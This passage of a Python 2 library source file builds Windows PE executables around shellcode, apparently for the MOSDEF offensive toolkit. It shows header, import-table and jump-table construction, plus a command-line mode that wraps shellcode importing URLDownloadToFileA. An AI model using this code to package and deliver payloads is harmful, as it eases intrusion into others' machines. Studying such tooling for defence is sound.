imgOpt.SizeOfInitializedData = 0x20 918 imgOpt.SizeOfImage = 0xc # ? 919 920 imgOpt.SizeOfHeaders = code_offset 921 imgOpt.NumberOfRvaAndSizes = 0x10 922 923 # Import Directory 924 925 directories[1].VirtualSize=directories[1].Size = idx - import_offset 926 directories[1].VirtualAddress= import_offset 927 928 # code and data 929 code.VirtualAddress = code_offset 930 code.VirtualSize= code.SizeOfRawData = imgOpt.SizeOfCode 931 code.PointerToRawData = code_offset 932 933 data.VirtualAddress = data_offset 934 data.VirtualSize = data.SizeOfRawData = idx - data_offset #len(data_buf) 935 data.PointerToRawData = data_offset 936 937 imgOpt.SizeOfImage = idx # code.SizeOfRawData + data.SizeOfRawData 938 939 # Fixing imports with thunk info 940 for a in range(0, len(imports)-1): 941 imports[a][0].OriginalFirstThunk= original_thunk[a] 942 imports[a][0].FirstThunk= first_thunk[a] 943 imports[a][0].Name = import_str_offset + imports[a][1] 944 945 946 # RAWing... 947 buf = mz.raw() + struct.pack("L", PE_MAGIC) +imgHdr.raw() + imgOpt.raw() 948 for a in directories: 949 buf+= a.raw() 950 buf+= code.raw() 951 buf+= data.raw() 952 buf+= firstpad 953 buf+= shellcode 954 buf+= secondpad 955 buf+= data_buf 956 957 for a in imports: 958 buf+= a[0].raw() 959 buf+= import_str 960 961 # ORIGINAL THUNK 962 for a in IIBN: 963 for b in a: # Listing function 964 buf+=struct.pack("L",b[1]) 965 buf+=struct.pack("L",0x0) 966 967 # FIRST THUNK 968 for a in IIBN: 969 for b in a: # Listing function 970 buf+=struct.pack("L",b[1]) 971 buf+=struct.pack("L",0x0) 972 973 # IIBN 974 for a in IIBN: 975 for b in a: 976 buf+= b[0].raw() 977 buf+= endpad 978 979 return buf
980 981 982 # For MOSDEF
983 - def createMOSDEFPE(self, filename, code, vars={}):
984 from win32peresolver import win32peresolver 985 # shellcode, importante=[ ("advapi32.dll", ["RevertToSelf"])] ): 986 987 # Mixing MOSDEF with PElib. 988 # Concerning Mosdef: 989 # Basically, we have a win32peresolver that pass some fixed address (that would be our PE PLT) 990 # and thats returned to the compile code. The win32peresolver put all this address on a cached. 991 # 992 # Concerning PE 993 # First of all, we need to compile before everything, cause we need the list of imported functions 994 # So, we send mosdef a hardcoded address(0x401A0) offset: 0x1A0 which is where the .text section start. 995 # At that address, will be our PLT (jmp *(IAT_entry)), so we have to point the Entry Address to 996 # .code + function_number * sizeof(jmp *(IAT_entry)). So we land on the begging on the shellcode. 997 # 998 # To discover where the IAT would be (we need to know this, before creating the PLT), we need to calculate 999 # where the First thunk 1000 # 1001 # buf+= secondpad 1002 # buf+= data_buf 1003 # 1004 # for a in imports: 1005 # buf+= a[0].raw() 1006 # buf+= import_str 1007 # 1008 # # ORIGINAL THUNK 1009 # for a in IIBN: 1010 # for b in a: # Listing function 1011 # buf+=struct.pack("L",b[1]) 1012 # buf+=struct.pack("L",0x0) 1013 # # FIRST THUNK 1014 # for a in IIBN: 1015 # for b in a: # Listing function 1016 # buf+=struct.pack("L",b[1]) 1017 # buf+=struct.pack("L",0x0) 1018 1019 # side note: .code must be aligned 1020 1021 image_base = 0x40000 1022 plt_len = len(mosdef.assemble("jmp *(0x01020304)", "X86")) 1023 plt_entry = 0x1A0 + image_base 1024 1025 w=win32peresolver(plt_entry) 1026 w.setPLTEntrySize(plt_len) 1027 1028 shellcode = w.compile(code, vars) 1029 1030 # We need to pass the functioncache[func] = address into [ ("advapi32.dll", ["RevertToSelf"])] format 1031 # Yeah, probably you can do it better or with one fancy python line 1032 dll={} 1033 func_by_addr = {} 1034 functions_num=0 1035 1036 1037 for a in w.remotefunctioncache.keys(): 1038 s = a.split("|") 1039 if dll.has_key( s[0] ): 1040 dll[s[0] ].append(s[1]) 1041 else: 1042 dll[ s[0] ] = [ s[1] ] 1043 functions_num+=1 1044 func_by_addr[a] = w.remotefunctioncache[a] 1045 1046 importante = [] 1047 for a in dll.keys(): 1048 importante.append( (a, dll[a]) ) 1049 shellcode = "\x90" * ( plt_len * functions_num) + shellcode 1050 1051 # So, by now we have important in the fancy format [ ('dll name', ['functions'] ) ] 1052 # And also, func_by_addr = {dllname!function]: function_plt }, and also functions_num has the size of functions 1053 1054 1055 1056 idx= 0 1057 # MZ 1058 mz = MZ() 1059 mz.e_lfanew = mz.getSize() 1060 1061 idx+= mz.getSize() 1062 1063 # PE Image Header 1064 imgHdr = IMGhdr() 1065 imgHdr.Machine = 0x014c # i386 1066 imgHdr.NumberOfSections = 0x2 # Code and data for now (Maybe we can do it only one) 1067 imgHdr.Characteristics = 0x0102 # Executable on 32-bit machine 1068 1069 idx += imgHdr.getSize() + 4 # for PE_MAGIC 1070 1071 # Optional Header 1072 imgOpt = IMGOPThdr() 1073 imgOpt.SectionAlignment = 0x20 # Thats our aligment 1074 imgOpt.FileAlignment = 0x20 1075 imgOpt.MajorOperatingSystemVersion = 0x4 # NT4.0 1076 imgOpt.MajorSubsystemVersion = 0x4 # Win32 4.0 1077 imgOpt.Subsystem = 0x3 1078 imgOpt.SizeOfStackReserve = 0x100000 1079 imgOpt.SizeOfStackCommit = 0x1000 1080 imgOpt.SizeOfHeapReserve = 0x100000 1081 imgOpt.SizeOfHeapCommit = 0x1000 1082 imgOpt.NumberOfRvaAndSizes= 0x10 1083 1084 idx += imgOpt.getSize() 1085 1086 # Directories 1087 directories=[] 1088 for a in range(0, imgOpt.NumberOfRvaAndSizes): 1089 directories.append(Directory()) 1090 1091 idx+= directories[0].getSize() * 16 1092 1093 # .code section 1094 code = Section() 1095 code.Name = ".text" 1096 code.Characteristics = 0x60000020L # Code | Executable | Readable 1097 idx+= code.getSize() 1098 1099 # .data section 1100 data = Section() 1101 data.Name = ".data" 1102 data.Characteristics = 0xc0000040L # Initialized | Readable | Writeable 1103 1104 idx += data.getSize() 1105 1106 code_offset = self.align(idx, imgOpt.FileAlignment) 1107 firstpad= "\0" * (code_offset - idx) 1108 idx=code_offset 1109 1110 # we can fill data_buf with our data and that will be loaded into mem :> 1111 idx+= len(shellcode) 1112 data_offset = self.align(idx, imgOpt.FileAlignment) 1113 secondpad= "\0" * (data_offset - idx) 1114 idx = data_offset 1115 data_buf ="" 1116 idx+= len(data_buf) 1117 1118 # Creating the list of ImportDescriptors 1119 import_offset =idx 1120 imports=[] 1121 ndx= 0 1122 import_str="" 1123 1124 for a in importante: 1125 i= ImportDescriptor() 1126 i.ForwarderChain= 0xFFFFFFFFL 1127 imports.append( (i, ndx)) 1128 1129 ndx+=len(a[0]+"\0") # We put on NDX, an index of the name string, so at the end 1130 # to find a string, we will do import_str_offset + this_index 1131 1132 import_str += a[0] + "\0" # Collecting dll names 1133 1134 # The final importdescriptor 1135 imports.append((ImportDescriptor(), 0)) 1136 idx+= i.getSize() * len(imports) 1137 1138 import_str_offset = idx 1139 idx+= len(import_str) 1140 1141 off = self.align(idx, imgOpt.FileAlignment) 1142 import_str+="\0" * (off-idx) 1143 idx = off 1144 1145 # Original Thunks 1146 original_thunks_offset = idx 1147 original_thunk=[] 1148 1149 for a in importante: 1150 original_thunk.append(idx) 1151 1152 idx+= len(a[1]) * 4 + 4 1153 1154 # First thunk offset 1155 first_thunks_offset = idx 1156 first_thunk=[] 1157 plt_ndx = 0x1A0 1158 for a in importante: 1159 first_thunk.append(idx) 1160 for b in a[1]: 1161 dupla = "%s|%s" % (a[0], b) 1162 1163 if not func_by_addr.has_key(dupla): 1164 raise PEError, "Error on Thunk" 1165 func_by_addr[ func_by_addr[dupla] ] = "jmp *(0x%08x)\n" % (idx+ image_base) 1166 idx+=4 1167 idx+= 4 1168 # crafting a PLT 1169 PLT="" 1170 for a in range(plt_entry, plt_entry+ plt_len* functions_num, plt_len): 1171 if not func_by_addr.has_key(a): 1172 raise PEError, "func_by_addr doesn't have a PLT address (%x)" % a 1173 PLT+= mosdef.assemble(func_by_addr[a], "X86") 1174 shellcode = PLT + shellcode[plt_len* functions_num:] 1175 print "Shellcode size (with PLT): %d" % len(shellcode) 1176 1177 1178 # Creating IIBN 1179 IIBN=[] 1180 for a in importante: 1181 tbl=[] 1182 IIBN.append(tbl) 1183 for b in a[1]: 1184 iibn = ImageImportByName() 1185 iibn.Name = b #"RevertToSelf" 1186 iibn.Hint = 1 1187 tbl.append((iibn, idx)) 1188 idx+=iibn.getSize() 1189 1190 endpad= "\0" * (self.align(idx, imgOpt.FileAlignment) - idx) 1191 1192 # Filling the gaps 1193 imgOpt.SizeOfCode = len(shellcode) + len(secondpad) 1194 imgOpt.BaseOfCode = code_offset 1195 # Entry point = code_offset + PLT_entry size 1196 imgOpt.AddressOfEntryPoint = code_offset + plt_len * functions_num 1197 1198 imgOpt.BaseOfData = data_offset 1199 imgOpt.ImageBase = image_base 1200 imgOpt.SizeOfInitializedData = 0x20 1201 imgOpt.SizeOfImage = 0xC # 1202 1203 imgOpt.SizeOfHeaders = code_offset 1204 imgOpt.NumberOfRvaAndSizes = 0x10 1205 1206 # Import Directory 1207 1208 directories[1].VirtualSize=directories[1].Size = idx - import_offset 1209 directories[1].VirtualAddress= import_offset 1210 1211 # code and data 1212 code.VirtualAddress = code_offset 1213 code.VirtualSize= code.SizeOfRawData = imgOpt.SizeOfCode 1214 code.PointerToRawData = code_offset 1215 1216 data.VirtualAddress = data_offset 1217 data.VirtualSize = data.SizeOfRawData = idx - data_offset #len(data_buf) 1218 data.PointerToRawData = data_offset 1219 1220 imgOpt.SizeOfImage = idx # 1221 1222 # Fixing imports with thunk info 1223 for a in range(0, len(imports)-1): 1224 imports[a][0].OriginalFirstThunk= original_thunk[a] 1225 imports[a][0].FirstThunk= first_thunk[a] 1226 imports[a][0].Name = import_str_offset + imports[a][1] 1227 1228 1229 # RAWing... 1230 buf = mz.raw() + struct.pack("L", PE_MAGIC) +imgHdr.raw() + imgOpt.raw() 1231 for a in directories: 1232 buf+= a.raw() 1233 buf+= code.raw() 1234 buf+= data.raw() 1235 buf+= firstpad 1236 buf+= shellcode 1237 buf+= secondpad 1238 buf+= data_buf 1239 1240 for a in imports: 1241 buf+= a[0].raw() 1242 buf+= import_str 1243 1244 # ORIGINAL THUNK 1245 for a in IIBN: 1246 for b in a: # Listing function 1247 buf+=struct.pack("L",b[1]) 1248 buf+=struct.pack("L",0x0) 1249 1250 # FIRST THUNK 1251 for a in IIBN: 1252 for b in a: # Listing function 1253 buf+=struct.pack("L",b[1]) 1254 buf+=struct.pack("L",0x0) 1255 1256 # IIBN 1257 for a in IIBN: 1258 for b in a: 1259 buf+= b[0].raw() 1260 buf+= endpad 1261 1262 # Done, dumping to a file 1263 f=open(filename, "wb") 1264 f.write(buf) 1265 f.close() 1266 return len(buf)
1267
1268 -def usage(name):
1269 print "usage: %s -f <file> [-O -W]" % name 1270 print "\t -O inspect the file given by -f" 1271 print "\t -W create a .exe using createShellcode" 1272 print "\t -E create a .exe using MOSDEF code" 1273 sys.exit(0)
1274 1275 if __name__ == "__main__": 1276 import getopt, sys 1277 args= sys.argv[1:] 1278 OPEN = 0x1 1279 WRITE = 0x2 1280 EXAMPLE = 0x3 1281 p=PElib() 1282 1283 what=0 1284 file="" 1285 try: 1286 opts, args = getopt.getopt(args, "f:OWE") 1287 except: 1288 print "Error in Arguments" 1289 usage(sys.argv[0]) 1290 for o,a in opts: 1291 if o == '-f': 1292 file=a 1293 if o == '-O': 1294 what =OPEN 1295 if o == '-W': 1296 what = WRITE 1297 if o == '-E': 1298 what = EXAMPLE 1299 if file: 1300 if what == OPEN: 1301 p.openfile(file) 1302 elif what == WRITE: 1303 shellcode=p.createShellcode() 1304 imports = [ ("advapi32.dll", ["RevertToSelf", "AccessCheck"]), ("urlmon.dll", ["URLDownloadToFileA", "FindMediaType" ]) ] 1305 1306 p.createPE(file, shellcode, imports) 1307 1308 elif what == EXAMPLE: 1309 vars={} 1310 vars["filename"]="boo" 1311 1312 code=""" 1313 //start of code 1314 #import "remote", "kernel32.dll|GetProcAddress" as "getprocaddress" 1315 #import "remote", "kernel32.dll|RemoveDirectoryA" as "RemoveDirectory" 1316 #import "remote", "kernel32.dll|ExitProcess" as "exit" 1317 #import "string", "filename" as "filename" 1318 1319 void main() 1320 { 1321 int i; 1322 i = RemoveDirectory(filename); 1323 i = exit(0); 1324 } 1325 """ 1326 1327 1328 p.createMOSDEFPE(file, code, vars) 1329 1330 else: 1331 usage(sys.argv[0]) 1332 else: 1333 1334 usage(sys.argv[0]) 1335 1336 1337 #self._openPE() 1338